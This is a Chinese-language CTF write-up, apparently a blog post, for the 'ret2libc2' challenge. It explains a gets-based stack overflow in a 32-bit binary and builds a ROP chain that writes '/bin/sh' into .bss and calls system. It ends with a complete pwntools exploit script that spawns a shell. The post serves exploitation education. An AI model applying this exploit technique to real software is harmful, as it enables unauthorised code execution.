ret2libc类型题目思考-ret2libc2

23 篇文章 1 订阅

上次我们已经研究了ret2libc1的题目,比较简单,我们想要的东西题目中基本都已经给出。这次我们接着研究ret2libc2题目,做ret2libc类型的题目我们就是要找Libc中能够利用的函数,最终调用system函数或者execve函数看看增加了哪些难度和限制,以及我们需要掌握一些什么。

老规矩看保护,32位程序,只有NX,接着还是进IDA看看代码:

我们看到有个缓冲区100个字符,主函数中存在一个危险函数gets,存在栈溢出漏洞,接着我们就要找到我们想要的东西->system('/bin/sh')。首先我们在程序中查找一下有没有:

 

 能够找到system函数,但是并没有/bin/sh存在,那么就需要我们去写入。于是我们在程序中c查找我们能写入的地方,我们在.bss段发现个好东西:

 有个buf2在这,我们想办法往这里面写入/bin/sh。那么我们就要构造rop链来达到我们的目的。

payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

栈图是这样布局的:

解析一下这样的布局,因为是栈溢出,所以我们要在溢出点做手脚填充112个字节的a来覆盖到返回地址,如何计算的填充数据的大小在ret2libc1中有很详细的讲解,这里就不再赘述,接下来,我们需要想先调用gets函数来让把我们输入的字符放入buf2,那么我们就需要调用gets函数的同时,把buf2的地址当参数传给gets函数。此时会要求用户再次输入数据并存到buf2这个数组里,那么我们就可以往里面写入/bin/sh字符串,接着程序流再去执行我们的system函数,此时/bin/sh已经写入buf2,所以buf2的地址再次被当做参数传给system至此我们的利用思路就完成了。我们进pwndbg去调试下是不是这么回事:

 我把断点下在了gets函数之后,此时我们的payload已经布局在栈上了。我们看到eax开始的位置我们开始填充字符a,接着返回地址处已经被我们覆盖成了gets@plt。那么可能在这里有个疑问,这个gets是怎么把buf2当成参数传入的呢。我们调试下就明白了,当程序走到ret的时候他会把gets@plt的地址弹出到eip,然后去执行:

 然后执行正常的函数调用,我们还观察到一个细节,我圈起来的第二个圈,他把ebp+8地址处的内容传入了eax,然后用eax去传参。在我们正常函数调用的时候,ebp+4是返回地址,ebp+8那就是第一个参数。那么是不是这么回事呢,我们接着调试看看,此时我们调试到gets函数的栈帧已经形成的时候,观察下堆栈:

我们发现了什么神奇的事情。果真ebp+8的位置是我们的buf2。他会把此处的东西当成参数。所以我们要这么构造它。那么又有人问,中间的pop ebx的作用又是什么呢,其实它的作用是为了堆栈平衡的,用来把用完的buf2给弹出堆栈,方便ret的时候能正确指向system函数。这里你只要找到任意pop 寄存器;ret的gadgets都是可以的。接着就是如法炮制一样的调用system函数。只要记住格式我们以后构造的时候就快很多。格式:(函数地址->4字节垃圾数据or堆栈平衡gadgets->参数地址or参数)。

可能有些人又有疑惑为什么system和buf2中间不用堆栈平衡函数呢?很简单,我们调用完system(/bin/sh)已经大功告成了,不需要在指向下一个位置,因此我们填充垃圾数据就好啦。这里可以随便构造垃圾数据。因此我们完整的利用链就完成了。参考wiki完整的exp如下:

from pwn import *
#context.log_level = 'debug'
sh = process('./ret2libc2')
#gdb.attach(sh,'b *0x080486bf')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
#pause()
payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
#pause()
sh.sendline('/bin/sh')

sh.interactive()

拿到系统shell:

下一篇我们将继续研究ret2libc3的利用手段。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值